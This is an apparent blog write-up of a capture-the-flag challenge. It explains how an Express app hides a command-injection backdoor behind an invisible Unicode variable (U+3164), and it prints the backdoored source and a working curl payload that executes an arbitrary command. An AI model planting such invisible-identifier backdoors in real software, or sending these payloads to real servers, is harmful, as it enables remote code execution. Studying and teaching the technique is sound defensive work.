MediumHidden Path. Check NSA Server Status — Command… | by Youssefelbakrey | Medium
Sitemap
Youssefelbakrey

Youssefelbakrey

Hidden Path

4 min readJul 11, 2026

--

Check NSA Server Status — Command Injection via Unicode Variable Smuggling

Challenge Overview

The challenge is a simple Node.js/Express application called “Check NSA Server Status”. It presents the user with a form of radio buttons to select one diagnostic command from a set (free -m, uptime, iostat, mpstat, netstat, ps aux), which is then executed on the server and the output returned.

At first glance, the code appears secure against Command Injection, since it uses an array-index dispatch pattern instead of handling raw user input directly inside exec().

Source Code Analysis

Front-end

function submitCommand() {
const radios = document.forms['commandForm'].elements['command'];
let choiceIndex = -1;
for (let i = 0; i < radios.length; i++) {
if (radios[i].checked) {
choiceIndex = i;
break;
}
}
if (choiceIndex === -1) {
return false;
}
fetch('/server_status', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `choice=${encodeURIComponent(choiceIndex)}`
})
.then(response => response.text())
.then(data => {
document.getElementById('response').textContent = data;
})
.catch(error => {
console.error('Error:', error);
document.getElementById('response').textContent = 'Failed to fetch data';
});
return false;
}

Nothing unusual here — the JS simply sends the selected index to the backend.

Back-end

const express = require('express');
const path = require('path');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static('public'));
app.get('/', async (req, res) => {
res.sendFile(path.join(__dirname, '/public/html/index.html'));
})
app.post('/server_status', async (req, res) => {
const { choice,ㅤ} = req.body;
const integerChoice = +choice;
if (isNaN(integerChoice)) {
return res.status(400).send('Invalid choice: must be a number');
}
const commands = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux',ㅤ
];
if (integerChoice < 0 || integerChoice >= commands.length) {
return res.status(400).send('Invalid choice: out of bounds');
}
exec(commands[integerChoice], (error, stdout) => {
if (error) {
return res.status(500).send('Error executing command');
}
res.status(200).send(stdout);
});
});
app.listen(1337);

On first read, this code looks secure by design:

  • choice is coerced to a number (+choice) before use.
  • An isNaN check rejects any non-numeric value.
  • A bounds check (< 0 || >= commands.length) prevents any out-of-range index.
  • The command that gets executed comes from a fixed array defined on the server, not directly from user input.

At a glance, this is a sound pattern — restricting the user to selecting an index into a whitelist of allowed commands, rather than supplying a free-form string.

Discovering the Real Vulnerability

The actual issue isn’t in the visible logic — it’s an invisible Unicode character planted in two places in the code:

const { choice,ㅤ} = req.body;
const commands = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux',ㅤ
];

That character is the Hangul Filler (U+3164), which is a valid JavaScript identifier character but is barely visible or completely invisible in most code editors and code viewers.

Why This Is Dangerous

  1. In the destructuring line:
const { choice, ㅤ } = req.body;

This declares a variable named ㅤ that gets extracted from req.body, exactly like choice. So if the request includes a parameter whose name is that same Unicode character, its value gets assigned to the ㅤ variable.

Get Youssefelbakrey’s stories in your inbox

Join Medium for free to get updates from this writer.

In the array:

const commands = [     'free -m',     'uptime',     'iostat',     'mpstat',     'netstat',     'ps aux',     ㅤ   // ← this is NOT just a trailing comma - it's a 7th array element! ];
  1. The 7th element of the array is not a fixed string — it’s a reference to that same variable ㅤ, sourced directly from req.body. This means:
  • The real commands.length is 7, not 6 as it visually appears.
  • commands[6] equals a value fully controlled by the attacker, with zero validation or sanitization.

Impact

Since commands[6] gets passed directly to:

exec(commands[integerChoice], ...)

sending:

choice=6

sails right through the bounds check (6 < 7 = true), and the command that actually executes is the value of the hidden parameter we control — i.e., full Remote Code Execution.

Exploitation

Step 1: Identify the correct Unicode character

We need to use the exact same character (U+3164 - Hangul Filler) as the name of the second parameter in the POST body, otherwise the destructuring won't bind the value to the correct variable.

Its URL-encoded representation is:

%E3%85%A4

Step 2: Build the payload

choice=6&%E3%85%A4=cat flag.txt
  • choice=6 → passes every validation check (a valid number, within the bounds of the real 7-element array).
  • %E3%85%A4=cat flag.txt → sets the value of the hidden variable ㅤ, which is exactly commands[6], to cat flag.txt.

Step 3: Send the request

curl -X POST http://<TARGET_IP>:<PORT>/server_status \
--data-raw 'choice=6&%E3%85%A4=cat flag.txt' \
-H "Content-Type: application/x-www-form-urlencoded"

Result

The server executes:

exec('cat flag.txt', ...)

and returns the contents of the flag file directly in the response.

Practical note: Any other command can be substituted for cat flag.txt — e.g. id, whoami, or even a full reverse shell — since this injection point gives complete control over the string executed inside exec().

--

--